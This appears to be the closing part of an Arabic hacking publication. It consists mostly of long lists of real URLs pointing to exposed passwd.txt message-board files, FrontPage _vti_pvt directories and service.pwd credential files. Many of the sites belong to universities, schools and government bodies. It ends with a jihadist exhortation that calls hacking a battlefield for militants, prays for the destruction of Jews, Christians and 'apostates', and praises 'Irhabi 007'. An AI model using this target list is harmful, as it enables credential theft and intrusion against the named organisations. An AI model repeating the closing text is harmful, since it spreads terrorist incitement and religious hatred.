<http://www.pnpi.spb.ru/nrd/ucn/cgi-...dmin/passwd.txt>

<http://gazissax.best.vwh.net/alsira...oard/passwd.txt>

[http://www.public.iastate.edu/~bencco/oclub/pa  
sswd.txt](http://www.public.iastate.edu/~bencco/oclub/pas<br/>sswd.txt)

[http://students.washington.edu/msa/waami/pa  
sswd.txt](http://students.washington.edu/msa/waami/pa<br/>sswd.txt)

[http://member.mfea.com/Members/bbs/admin/  
passwd.txt](http://member.mfea.com/Members/bbs/admin/<br/>passwd.txt)

<http://ais.gmd.de/~sylla/Archive/passwd.txt>

[http://www.lvadb.nl/regionalisering...9874/pass  
wd.txt](http://www.lvadb.nl/regionalisering...9874/pass<br/>wd.txt)

[http://www.jump.net/~alancook/discu...9311/pa  
sswd.txt](http://www.jump.net/~alancook/discu...9311/pa<br/>sswd.txt)

<http://www.notam.com/forum/passwd.txt>

[http://www.sandiego.edu/~deroche/group4p/pa  
sswd.txt](http://www.sandiego.edu/~deroche/group4p/pa<br/>sswd.txt)

[http://www.sandiego.edu/~deroche/case7/pass  
wd.txt](http://www.sandiego.edu/~deroche/case7/pass<br/>wd.txt)

<http://www.louisville.com/talk/passwd.txt>

<http://www.swe.org/SWE/Convention/den01/passwd.txt>

<http://www.colorado.edu/geography/g...sion/passwd.txt>

<http://www.uidaho.edu/webboard/src/passwd.txt>

<http://dykesworld.de/Boards/sistah/passwd.txt>

<http://www.public.iastate.edu/~n2ddg/IE565/passwd.txt>

<http://www.pnpi.spb.ru/nrd/ucn/cgi-...dmin/passwd.txt>

[http://www.pnpi.spb.ru/nrd/ucn/cgi-...s\\_admin/log.txt](http://www.pnpi.spb.ru/nrd/ucn/cgi-...s_admin/log.txt)

<http://www.pnpi.spb.ru/nrd/ucn/cgi-...in/adminlog.txt>

<http://www.doc.ic.ac.uk/~ipa98/jondon/passwd.txt>

<http://www.defenders.by.ru/texts/unix/unix-passwd.txt>

[http://www.public.iastate.edu/~bencco/oclub/pa  
sswd.txt](http://www.public.iastate.edu/~bencco/oclub/pas<br/>sswd.txt)

<http://www.unionmen.com/forum/passwd.txt>

<http://facyt.uc.edu.ve/foros/passwd.txt>

[http://www.ku.edu/~philos/courses/wwwboard3  
/passwd.txt](http://www.ku.edu/~philos/courses/wwwboard3<br/>/passwd.txt)

<http://ponce.inter.edu/forums/passwd.txt>

[http://students.washington.edu/msa/...ulum/pa  
sswd.txt](http://students.washington.edu/msa/...ulum/pa<br/>sswd.txt)

[http://www.uidaho.edu/webboard/src/passwd.t  
xt](http://www.uidaho.edu/webboard/src/passwd.t<br/>xt)

<http://www.louisville.com/talk/passwd.txt>

[http://www.motosalvagedirectory.com/forums/p  
asswd.txt](http://www.motosalvagedirectory.com/forums/p<br/>asswd.txt)

[http://gazissax.best.vwh.net/alsira...oard/pass  
wd.txt](http://gazissax.best.vwh.net/alsira...oard/pass<br/>wd.txt)

[http://www.mexconnect.com/liveboard/passwd.  
txt](http://www.mexconnect.com/liveboard/passwd.<br/>txt)

<http://www.inece.org/ozone/passwd.txt>

<http://www.usd.edu/phys/courses/ast...bord/passwd.txt>

<http://cde.unina.it/~tuccillo/passwd.txt>

<http://ponce.inter.edu/forums/prueba/passwd.txt>

<http://paradigm-dc.hypermart.net/passwd.txt>

<http://clonetheory.virtualave.net/passwd.txt>

<http://www.uni-ulm.de/LiLL/foren/forum1/passwd.txt>

<http://www.fh-potsdam.de/~potsmods/...ster/passwd.txt>

<http://www.endicott.edu/staff/kuhn/...9812/passwd.txt>

<http://www.artintheschool.org/forum/passwd.txt>

<http://www.utexas.edu/depts/grg/vir...sion/passwd.txt>

<http://www.mag7.net/floor/passwd.txt>

<http://www.urban-forestry.com/forum/passwd.txt>

<http://pages.globetrotter.net/lhibb...oard/passwd.txt>

<http://wealth-connection.com/bbs/passwd.txt>

<http://xipe.insp.mx/wwwboard/passwd.txt>

<http://facyt.uc.edu.ve/foros/passwd.txt>

<http://c25c250.best.vwh.net/restricted/passwd.txt>

<http://www.sandiego.edu/~deroche/case2/passwd.txt>

<http://www.sandiego.edu/~deroche/group6p/passwd.txt>

<http://home.gwi.net/~actonfd/bboard/passwd.txt>

<http://pages.stern.nyu.edu/~rgarud/helpchat/passwd.txt>

<http://acpon1.ponce.inter.edu/forums/prueba/passwd.txt>

[http://www.gugten.com/\\_pub/ARPA/forum/passwd.txt](http://www.gugten.com/_pub/ARPA/forum/passwd.txt)

<http://library.thinkquest.org/~1013...dmin/passwd.txt>

## ثغرات "فرونت بيج"

[/www.ebc.uu.se/evolmuseum/\\_vti\\_pvt](/www.ebc.uu.se/evolmuseum/_vti_pvt)

[/http://www.ebc.uu.se/klubban/\\_vti\\_pvt](/http://www.ebc.uu.se/klubban/_vti_pvt)

[/http://police.hypermart.net/\\_vti\\_pvt](/http://police.hypermart.net/_vti_pvt)

[/http://www.seanachie.com/\\_vti\\_pvt](/http://www.seanachie.com/_vti_pvt)

[http://www.ahpcc.unm.edu/~aroberts/main/\\_vti\\_pvt](http://www.ahpcc.unm.edu/~aroberts/main/_vti_pvt)

[http://www.ahpcc.unm.edu/~aroberts/main/main/\\_vti\\_pvt](http://www.ahpcc.unm.edu/~aroberts/main/main/_vti_pvt)

[/http://www.tpeditor.com/\\_vti\\_pvt](/http://www.tpeditor.com/_vti_pvt)

[http://www.sussex.ac.uk/tcmr/pgp/pgp2/\\_vti\\_p/vt](http://www.sussex.ac.uk/tcmr/pgp/pgp2/_vti_p/vt)

[http://www.sussex.ac.uk/Units/IRPol/MANews/\\_vti\\_pvt](http://www.sussex.ac.uk/Units/IRPol/MANews/_vti_pvt)

[/http://members.aol.com/r1953young/\\_vti\\_pvt](http://members.aol.com/r1953young/_vti_pvt)

[/http://www.lic.wisc.edu/shapingdane/\\_vti\\_pvt](http://www.lic.wisc.edu/shapingdane/_vti_pvt)

[http://www.gvc.gu.se/ngeo/ng-hem/china/\\_vti\\_pvt](http://www.gvc.gu.se/ngeo/ng-hem/china/_vti_pvt)

[/http://www.robertsmyth.leics.sch.uk/\\_vti\\_pvt](http://www.robertsmyth.leics.sch.uk/_vti_pvt)

[/http://www.www.nr/My%20Webs/\\_vti\\_pvt](http://www.www.nr/My%20Webs/_vti_pvt)

[/http://siteventos.org.gt/tal\\_1/\\_vti\\_pvt](http://siteventos.org.gt/tal_1/_vti_pvt)

[/http://siteventos.org.gt/redes/\\_vti\\_pvt](http://siteventos.org.gt/redes/_vti_pvt)

[/http://virtation.com/\\_vti\\_pvt](http://virtation.com/_vti_pvt)

[http://www.ch.ic.ac.uk/bbc/BCG/bcg2001/myweb/\\_vti\\_pvt](http://www.ch.ic.ac.uk/bbc/BCG/bcg2001/myweb/_vti_pvt)

[http://www.imolbio.oeaw.ac.at/xenopus/\\_vti\\_pvt/t](http://www.imolbio.oeaw.ac.at/xenopus/_vti_pvt/t)

[/http://www.humgym-meran.it/\\_vti\\_pvt](http://www.humgym-meran.it/_vti_pvt)

[http://www.ceeinet.umd.edu/faculty/ahaghani/\\_vti\\_pvt](http://www.ceeinet.umd.edu/faculty/ahaghani/_vti_pvt)

[/http://www.chu-stlouis.fr/hematoonco/\\_vti\\_pvt](http://www.chu-stlouis.fr/hematoonco/_vti_pvt)

[http://www.ch.ic.ac.uk/local/projec...thorn/\\_vti\\_pvt](http://www.ch.ic.ac.uk/local/projec...thorn/_vti_pvt)

[/http://www.ce.cmu.edu/~mcnamara/\\_vti\\_pvt](http://www.ce.cmu.edu/~mcnamara/_vti_pvt)

[http://www.fht-stuttgart.de/fbv/fbvweb/ipo/\\_vti\\_pvt](http://www.fht-stuttgart.de/fbv/fbvweb/ipo/_vti_pvt)

[/http://www.cem.ufpr.br/ecoturismo/\\_vti\\_pvt](http://www.cem.ufpr.br/ecoturismo/_vti_pvt)

[/http://www.net1.net/~akiecke/\\_vti\\_pvt](http://www.net1.net/~akiecke/_vti_pvt)

[http://www.bridgewater.edu/departme...tisms/\\_vti\\_pvt](http://www.bridgewater.edu/departme...tisms/_vti_pvt)

[/http://www.lu.lv/jauna/strukt/jgs/\\_vti\\_pvt](http://www.lu.lv/jauna/strukt/jgs/_vti_pvt)

[/http://www.jmtrep.hpg.com.br/\\_vti\\_pvt](http://www.jmtrep.hpg.com.br/_vti_pvt)

[/http://alpha.tamu.edu/public/jae/\\_vti\\_pvt](http://alpha.tamu.edu/public/jae/_vti_pvt)

[http://homepages.newnet.co.uk/netwo...k2000/\\_vti\\_pvt](http://homepages.newnet.co.uk/netwo...k2000/_vti_pvt)

[/http://www.ff.up.pt/sirigaitas/\\_vti\\_pvt](http://www.ff.up.pt/sirigaitas/_vti_pvt)

[http://www.cyclecoachingscotland.fr...co.uk/\\_vti\\_pvt](http://www.cyclecoachingscotland.fr...co.uk/_vti_pvt)

[/http://members.aol.com/tamaranth/\\_vti\\_pvt](http://members.aol.com/tamaranth/_vti_pvt)

[http://www.bridgewater.edu/departme...owman/\\_vti\\_pvt](http://www.bridgewater.edu/departme...owman/_vti_pvt)

[/http://www.css.orst.edu/barley/\\_vti\\_pvt](http://www.css.orst.edu/barley/_vti_pvt)

[/http://www.nilc.org.ge/geohealth/\\_vti\\_pvt](http://www.nilc.org.ge/geohealth/_vti_pvt)

[/http://www.memorial.fund.ukf.net/\\_vti\\_pvt](http://www.memorial.fund.ukf.net/_vti_pvt)

[/http://www.ipe.csic.es/cursos.escos/\\_vti\\_pvt](http://www.ipe.csic.es/cursos.escos/_vti_pvt)

[/http://dnr.state.il.us/legislation/isah/\\_vti\\_pvt](http://dnr.state.il.us/legislation/isah/_vti_pvt)

[http://www.rrk-berlin.de/rrkweb/chirurgie/\\_vti\\_pvt](http://www.rrk-berlin.de/rrkweb/chirurgie/_vti_pvt)

[/http://www.jtr.gov.my/fik/\\_vti\\_pvt](http://www.jtr.gov.my/fik/_vti_pvt)

[http://ww1.baywell.ne.jp/fpweb/drlatham/\\_vti\\_p/vt](http://ww1.baywell.ne.jp/fpweb/drlatham/_vti_p/vt)

[http://www.wms-access.com/Photo/%20Gallery/\\_VTI\\_PVT](http://www.wms-access.com/Photo/%20Gallery/_VTI_PVT)

[/http://www.lfp.cz/primaire/\\_vti\\_pvt](http://www.lfp.cz/primaire/_vti_pvt)

[http://www.zs3zab.cz/\\_vti\\_pvt/service.pwd](http://www.zs3zab.cz/_vti_pvt/service.pwd)

<http://pages.citenet.net/users/ctmx...pvt/service.pwd>

[http://ftp.scu.edu.tw/\\_vti\\_pvt/service.pwd](http://ftp.scu.edu.tw/_vti_pvt/service.pwd)

<http://orion.ifsu.rm.cnr.it/meeting...pvt/service.pwd>

<http://www.momentus.com.br/users/le...pvt/service.pwd>

[http://www2.alpinecom.net/\\_vti\\_pvt/service.pwd](http://www2.alpinecom.net/_vti_pvt/service.pwd)

[http://www.necc.cc.ms.us/~jpowell/\\_vti\\_pvt/service.pwd](http://www.necc.cc.ms.us/~jpowell/_vti_pvt/service.pwd)

[http://conca.users.netlink.co.uk/\\_vti\\_pvt/service.pwd](http://conca.users.netlink.co.uk/_vti_pvt/service.pwd)

وبعد فالحمد رب العالمين في البدء والمنتهى ،  
الذي وفقنا لإتمام هذا العمل الجليل وكما سألنا الله  
الصدق والإخلاص في القول والعمل نسأله العفو  
والصفح ونرجو التوبة والمغفرة ونأمل القبول  
والرفعة بفضله ولطفه وكرمه سبحانه .

وإننا بنشر هذا الإصدار نقيم الحجة على القاعدين مع  
الخالفين والمتذرعين بعدم قدرتهم على الوصول  
إلى ساحات القتال وميادين النزال ، فدونكم هذا  
الثغر وهذا الميدان فقاتلوا فيه قتال المجاهدين في  
سبيل الله ولكم الأجر والثواب إن صلحت الطوايا  
وخلصت النيات ، والله يقول الحق وهو يهدي  
السبيل .

ونسأل الله النصر المجيد والفتح المبين والفرج  
القريب لأمة الإسلام عامة ولطليعتها المجاهدة  
والمقاتلة في سبيل الله خاصة ، فاللهم أقر عيون  
قادة الجهاد وشيوخه وعلماءه وأنصاره بنصرك  
المبين وفتحك القريب ، اللهم ودمر أعداء الأمة من  
اليهود والصليبيين ومن شايعهم وناصرهم ووالاهم  
من المنافقين والمرتدين أجمعين ؛ اللهم آمين .

وختاماً نسأل الله أن يحفظ أخانا الفاضل الكريم  
والغالي الحبيب إرهابي 007 وأن يبقيه لما يسرُّ  
المؤمنين ويفرح قلوب الموحدين في كل مكان ،

ولما يسوء الكافرين ويخزي المرتدين ويفضح  
المنافقين .

ولا تنسوا أوامر الله في كتابه العظيم وأوامر رسوله  
صلى الله عليه وسلم بالجهاد في سبيل الله في كل  
ثغر والقعود للعدو في كل مرصد يرضي الله  
ورسوله !

## فلندع القول ولنبدأ العمل !

### ومشوار الألف ميل يبدأ بخطوة ! وأول الغيث الندى !

وآخر دعوانا أن الحمد لله رب العالمين

وصلى الله وسلم وبارك وأنعم وأكرم على سيدنا  
ونبينا محمد وعلى آله وصحبه ومن تبعهم بإحسان  
إلى يوم الدين

عن جميع الإخوة الأفاضل الكرام

أخوكم الفقير أصغرهم وأجهلهم

السيف الأثري

كان الله له وإخوانه وللمسلمين